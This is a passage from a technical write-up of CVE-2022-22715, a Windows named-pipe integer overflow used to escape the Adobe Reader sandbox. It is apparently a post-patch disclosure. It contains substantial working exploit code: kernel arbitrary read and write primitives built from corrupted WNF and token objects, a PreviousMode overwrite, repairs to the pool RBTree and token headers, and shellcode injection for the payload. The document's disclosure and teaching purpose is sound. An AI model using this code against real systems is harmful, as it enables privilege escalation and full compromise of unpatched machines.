&RecvBufferSize);
Line by line:
- A 0x48-byte buffer
FakeSepCachedis allocated and zeroed. This will stand in for an internal structure the token points to. - At offset 0x2A a 16-bit value of 8 is written, and at offset 0x30 the address to read from (
ReadAddress) is written. These set up the fake structure so that the token's isolation prefix points at the target address. - A copy of the original worker token (
gOccupyWorkerToken) is made intoCorruptionData, so the fake token is a valid token with only a few fields changed. - At
TokenOffset + 0x480the pointer to the fake structure is placed, and atTokenOffset - 0x30a value of 3 is placed, which selects the behaviour that makes the token use that pointer. fNtUpdateWnfStateDatawrites the modified token into the manager object, which is how the worker token's fields get overwritten.fNtQueryInformationTokenwithTokenBnoIsolationthen copies data from the address the fake structure points at intoRecvBuffer. That is the arbitrary read.
Write primitive:
CorruptionData = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OriginalSize);
CopyMemory(CorruptionData, gOccupyWorkerToken, OriginalSize);
*(PUINT64)(CorruptionData + TokenOffset - 0x30) = 2;
*(PUINT64)(CorruptionData + TokenOffset + 0x8c) = 0x10000;
*(PUINT64)(CorruptionData + TokenOffset + 0xa8) = (UINT64)pETHREAD + 0x1f0;
*(PUINT64)(CorruptionData + TokenOffset + 0xb0) = (UINT64)pETHREAD + 0x1e8;
*(PUINT64)(CorruptionData + TokenOffset + 0xb8) = (UINT64)0;
fNtUpdateWnfStateData(&gWorkerStateName, CorruptionData, OriginalSize, &TypeID, NULL, NULL, NULL);// ===> control manager object
pACL = (PACL)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x48);
pACL->AclRevision = 2;
pACL->AceCount = 1;
pACL->AclSize = 0x48;
pACE = (PACE_HEADER)(pACL + 1);
pACE->AceSize = 0x48 - sizeof(ACL);
pACE->AceType = 50;
*(PUINT64)((ULONG_PTR)pACL + 0x18) = (UINT64)pQueueListEntryFlink;
*(PUINT64)((ULONG_PTR)pACL + 0x20) = (UINT64)pQueueListEntryBlink;
*(PUINT64)((ULONG_PTR)pACL + 0x28) = (UINT64)pNextProcessor;
*(PUINT64)((ULONG_PTR)pACL + 0x30) = (UINT64)pProcess;
*(PUINT64)((ULONG_PTR)pACL + 0x38) = 0x3;
*(PUINT64)((ULONG_PTR)pACL + 0x40) = 0x0100000008000000;
// ===> arbitrary write
Status = fNtSetInformationToken(
TokenHandle,
TokenDefaultDacl,
&pACL,
8);
Line by line:
- A fresh copy of the worker token is made into
CorruptionData. - At
TokenOffset - 0x30a value of 2 is written, selecting the behaviour that makes the token perform a write. - At
TokenOffset + 0x8ca value of 0x10000 is written, setting a size field. - At
TokenOffset + 0xa8,+0xb0and+0xb8three pointers derived frompETHREADare written.pETHREADis the address of the current thread's kernel structure, and these fields make the token's destination point into it. fNtUpdateWnfStateDatapushes the modified token into the manager object, overwriting the worker token's fields.- A 0x48-byte
pACLbuffer is allocated and filled in as a fake access control list, the Windows structure that lists who may do what. Its revision, count and size fields are set, and an entry inside it is filled with pointers and values. fNtSetInformationTokenwithTokenDefaultDaclthen makes the kernel copy that buffer to the destination the fake token points at. That is the arbitrary write.
Step 9: elevate privilege and fix up
Replacing the process token with the system token works, but it crashes easily: corrupted _TOKEN objects break tools such as Process Explorer, which walks every process's user-space handle table and crashes when it reaches the exploited process. The author therefore does not replace the token. Instead the worker object sets _ETHREAD->PreviousMode to 0, so that NT APIs such as NtReadVirtualMemory and NtWriteVirtualMemory treat the thread as running in kernel mode. PreviousMode is a field that records whether a request came from ordinary user code or from the kernel; setting it to 0 tells the kernel "this thread is trusted", which is a common privilege-escalation technique and makes both elevation and repair easier than rebuilding fake objects each time.
Two repairs are needed.
Corrupted _TOKEN objects. The crash comes from the ObjectType in the object header: when nt references the object, the corrupted type crashes the system. The cookie is read from the nt data section and the object type is recomputed for every corrupted _TOKEN header:
UINT64 pObjHeaderCookie = ntaddr + OBJHEADERCOOKIE;
BYTE cookie;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pObjHeaderCookie, (UINT64)&cookie, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
BYTE addrbyte = (pPoolAddress >> 8) & 0xff;
BYTE offset = cookie ^ addrbyte ^ TokenTypeIndex;
BYTE bModifiedType;
for (UINT i = typeindex; i <= modifiedindex; i++) {
bModifiedType = offset ^ cookie ^ (((pPoolAddress - i * 0x1000) >> 8) & 0xff);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x88), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)((UINT64)pPoolAddress - i * 0x1000 + 0x48), (UINT64)&bModifiedType, (UINT64)sizeof(BYTE), (UINT64)&dwByte);
}
Line by line:
pObjHeaderCookieis the address of a secret value, the cookie, stored in the nt module's data section. The kernel mixes this cookie into object type values so that an attacker cannot simply forge one.- The cookie byte is read into
cookieusing the arbitrary read. addrbytetakes a byte from the pool address, andoffsetcombines the cookie, that byte and the known token type index with XOR, a bitwise operation that is its own inverse.- The loop walks from the first corrupted page to the last, and for each one recomputes the correct type byte and writes it back at offsets 0x88 and 0x48 of that page. This restores the object headers so that the kernel can use the tokens again without crashing.
Corrupted VS pool structures. This is the most complicated problem. The overflow also corrupts the VS pool structure, which causes unexpected BSoDs. A BSoD, blue screen of death, is the screen Windows shows when the kernel hits an unrecoverable error and stops the machine. Reversing the VS allocator shows an RBTree managing the VS pools. An RBTree, red-black tree, is a balanced lookup tree: a structure that keeps items sorted so they can be found quickly, with rules that keep it from becoming lopsided. Given a VS pool address, the VS pool manager address can be calculated. When a VS pool is allocated or freed, the manager traverses the RBTree from the root, and reaching a corrupted node crashes. The fix is to find the corrupted node from the root and delete it from the RBTree. This can leak memory if other VS pools sit under the corrupted node, but it avoids crashing the system.

The screenshot shows the RBTree of VS pools, with the corrupted node that has to be removed.
The exploit calculates the root VS pool, traverses the RBTree and removes the node:
UINT64 zeroSet = 0x0;
UINT64 ntaddr = KernelSymbolInfo();
UINT64 pGlobalHeapAddr = ntaddr + GLOBALOFFSET;
UINT64 pGlobalHeapValue;
UINT64 pPoolChunkAddr = pPoolAddress & 0xfffffffffff00000;
UINT64 pPoolChunkValue;
X64Call(pReadVirtualMemory, 5 , (UINT64)GetCurrentProcess(), (UINT64)pGlobalHeapAddr, (UINT64)&pGlobalHeapValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pPoolChunkAddr + 0x10, (UINT64)&pPoolChunkValue, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
UINT64 pHpMgrAddr = ((UINT64)pGlobalHeapValue ^ (UINT64)pPoolChunkAddr ^ (UINT64)pPoolChunkValue ^ 0xA2E64EADA2E64EAD) - 0x100 + 0x290; // ======> calculate the VS pool manager address
UINT64 pRootChunkAddr;
UINT64 pRightChunk;
UINT64 pLeftChunk;
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pHpMgrAddr, (UINT64)&pRootChunkAddr, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte); // ====> get the root VS pool address
UINT64 pTargetChunk = pPoolAddress & 0xffffffffffff0000;
UINT64 pFinalChunk = NULL;
UINT64 pTempLeftChunk = pLeftChunk, pTempRightChunk = pRightChunk;
UINT64 pTempRootChunk;
pRootChunkAddr = pLeftChunk; // ====> traversal from left chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
pRootChunkAddr = pTempRightChunk; // ====> traversal from right chunk
while (pLeftChunk != 0 && pRightChunk != 0) {
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&pLeftChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
X64Call(pReadVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x8, (UINT64)&pRightChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
if (pTargetChunk == pRootChunkAddr & 0xffffffffffff0000) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRootChunkAddr + 0x10, (UINT64)&pTempRootChunk, (UINT64)sizeof(UINT64), (UINT64)&dwByte);
break;
}
pTempRootChunk = pRootChunkAddr;
if (pLeftChunk > pRootChunkAddr) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pLeftChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pRightChunk;
continue;
}
else if (pRootChunkAddr > pRightChunk) {
X64Call(pWriteVirtualMemory, 5, (UINT64)GetCurrentProcess(), (UINT64)pRightChunk, (UINT64)&fakenode, (UINT64)sizeof(FAKETREENODE), (UINT64)&dwByte);
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk < pRootChunkAddr) {
pRootChunkAddr = pLeftChunk;
continue;
}
if (pTargetChunk > pRootChunkAddr) {
pRootChunkAddr = pRightChunk;
continue;
}
}
Line by line:
ntaddris the base address of the nt module, found throughKernelSymbolInfo, andpGlobalHeapAddris a known offset into it where the global heap pointer lives.pPoolChunkAddrrounds the corrupted pool address down to a 1 MB boundary, giving the address of the chunk that contains it.- Two reads fetch the global heap value and a value stored at offset 0x10 in the chunk.
pHpMgrAddrcombines those values with the chunk address and a constant using XOR, then adjusts by- 0x100 + 0x290. This is the calculated address of the VS pool manager.- Three reads fetch the root of the RBTree and its left and right children.
pTargetChunkrounds the corrupted pool address down to a 64 KB boundary, which is the granularity the tree uses.- The first
whileloop walks the tree starting from the left child. At each step it reads the node's left and right children, checks whether the current node is the target, and if so overwrites the node with a fake node and stores the parent pointer, then stops. Otherwise it moves down the tree according to the comparison rules, writing a fake node into the child it is about to skip so that the tree stays consistent. - The second
whileloop does the same starting from the right child, covering the other side of the tree. - The effect is that the corrupted node is unlinked from the tree, so the allocator will not walk into it and crash.
Step 10: payload delivery
After the repairs, the exploit pops cmd. Because the Adobe Reader render process runs in a Job, it cannot create a process itself, so the exploit injects shellcode into the browser process and writes a file on volume C: to complete the exploit. Shellcode is a small piece of machine code that an attacker places in a running program to make it do something on their behalf.

The screenshot shows the command prompt that appears once the exploit has finished.
Root cause
The size arithmetic in NpTranslateContainerLocalAlias is performed in ushort variables. The total is prefixlength + namedpipenamelength + 0x14, plus 2 when the pipe name starts with a backslash. A long pipe name wraps the total to 0, the pool is allocated with size 0, and the subsequent MaximumLength -= 2 underflows to 0xfffe. RtlUnicodeStringPrintf then copies up to that maximum length into the tiny allocation, writing far past it. The token check requires the process to be an AppContainer, restricted, or both, which is the context the bug was used in.
Impact
An attacker who can run code in an AppContainer or restricted sandboxed process, such as the Adobe Reader render process, can trigger the overflow and, with the pool layout described here, obtain arbitrary kernel read/write, disable PreviousMode for the thread, and elevate privileges. The author used it to escape the Adobe Reader sandbox. The exploit is not a single-shot primitive: it depends on a carefully arranged pool layout, on identifying the corrupted manager and worker objects through the WNF error code and the token LUID, and on repairing corrupted _TOKEN headers and the VS pool RBTree afterwards to avoid crashes.
Fix
Microsoft patched the vulnerability in February 2022. The patched function computes the total size in int and checks it against the maximum ushort value before allocating:
NTSTATUS __fastcall NpTranslateContainerLocalAlias(struct _UNICODE_STRING *a1, void *a2, _DWORD *a3)
{
[...]
if ( v13 )
{
if ( TokenInformation )
{
v20 = DestinationString.Length + v37.Length;
v21 = v20 + 120;
v22 = v20 + 122;
}
else
{
v21 = v37.Length + 96;
v22 = v37.Length + 98;
}
}
else
{
v21 = DestinationString.Length + 112;
v22 = DestinationString.Length + 114;
}
if ( !v18 )
v22 = v21;
v23 = v19 + v22;
if ( v23 <= 0xFFFE )
{
v28.MaximumLength = v23;
Pool2 = (WCHAR *)ExAllocatePool2(256i64, (unsigned __int16)v23, 1850110030i64);
[...]
}
Line by line:
- The function still computes the prefix length, but now the intermediate values are held in a wider type,
int, which can count far beyond 65,535. - Depending on which branch is taken, it adds different constants (120, 122, 96, 98, 112, 114) to the lengths.
- The final total
v23is compared against0xFFFE. Only if it fits does the code proceed to set the maximum length and allocate the pool. - If the total would have wrapped, the check fails and the allocation is not made, so the underflow and the out-of-bounds write cannot happen.
Variants to test
- Other named-pipe paths that reach
NpTranslateContainerLocalAliaswith aLOCAL\prefix and a leading backslash in the remainder. A positive result is a pool allocation whose size does not match the length later used byRtlUnicodeStringPrintf. - Other 16-bit size computations in npfs name translation, for example where a prefix length is added to a user-controlled name length. A positive result is a wrapped total that reaches an allocation.
- Other kernel components that translate sandbox-relative names into
AppContainerNamedObjectspaths. A positive result is a similar mismatch between allocated size and copied length. - The WNF manager/worker pattern with other objects that expose a pointer field through a copy API. A positive result is a controlled read or write through a corrupted object adjacent to a
_WNF_STATE_DATAwith an inflatedDataSize. - The
NtRegisterThreadTerminatePortspray for 0x20 paged pool. A positive result is a predictable run ofPsTpallocations that can be freed and reused. - The VS pool RBTree repair technique on other pool types. A positive result is that a corrupted node can be removed without a BSoD when the allocator next traverses the tree.
Timeline
- 2021-10-17: vulnerability reported to Microsoft via TianfuCup 2021.
- 2022-02-08: Microsoft released the patch, assigned CVE-2022-22715.
- 2022-08-23: blog post published in partnership with the Adobe Product Security Incident Response Team.
Glossary
- API: a named operation a program can ask the operating system or another program to perform.
- AppContainer: a Windows sandbox that restricts what a process can reach.
- BSoD: blue screen of death, the screen Windows shows when the kernel stops on an unrecoverable error.
- CVE: a public identifier for a known security vulnerability.
- Cookie (object header): a secret value the kernel mixes into object type fields so they cannot be forged.
- Driver: a piece of software that lets the kernel talk to a device or provide a system service.
- Feng shui (pool): arranging kernel memory allocations so chosen objects end up next to each other.
- Handle: a small number a program uses to refer to an object it has been given access to.
- Integer overflow: when a number grows past the maximum its storage type can hold and wraps around to a small value.
- Integer underflow: when a number is reduced below zero in an unsigned type and wraps around to a very large value.
- IPC: inter-process communication, programs talking to each other.
- IRP: I/O Request Packet, the envelope Windows uses to carry a request to a driver.
- Job: a Windows container that groups processes and can limit what they do.
- Kernel: the core of the operating system that enforces all rules and talks to hardware.
- LFH: Low Fragmentation Heap, a kernel allocator optimised for many small allocations of the same size.
- LPC port: an internal Windows communication endpoint.
- LUID: locally unique identifier, a number unique on a machine, used for things like token IDs.
- Manager object: in this exploit, the
_WNF_STATE_DATAobject used to steer the worker object. - Named pipe: a labelled channel two programs on the same computer use to exchange messages.
- NT API: the lowest-level set of Windows service functions, named
Nt.... - Object manager: the part of Windows that keeps the catalogue of all kernel objects.
- Oracle: a test whose answer reveals something you cannot see directly.
- Out-of-bounds write: writing outside the memory block you were given, into memory that belongs to something else.
- Page: a fixed-size block of memory, 4,096 bytes on typical Windows systems.
- Paged pool: the part of kernel memory that can be moved out to disk when memory is tight.
- Pointer: a number that says where in memory something lives.
- Pool: the kernel's general-purpose memory area.
- RBTree: red-black tree, a balanced sorted tree used for fast lookups.
- Restricted token: a token with some permissions removed, used to build a sandbox.
- Sandbox: restrictions around a program so that damage from bad code stays contained.
- Segment / subsegment: the two levels of the kernel pool allocator, large chunks and the smaller pieces handed out inside them.
- Shellcode: a small piece of machine code placed in a running program to make it act for an attacker.
- Spraying: allocating many objects of the same kind to fill memory in a predictable pattern.
- Tag (pool tag): a four-character label on a pool allocation showing who owns it.
- Thread: the smallest unit of execution inside a process.
- Token: the internal record of who a process is and what it may do.
- Vulnerability: a mistake in a program that lets someone make it do something unintended.
- VS: Variable Size, a kernel allocator used for a range of allocation sizes.
- WinDbg: Microsoft's kernel debugger.
- WNF: Windows Notification Facility, a Windows mechanism for publishing and subscribing to state changes.
- Worker object: in this exploit, the
_TOKENobject used to perform arbitrary reads and writes.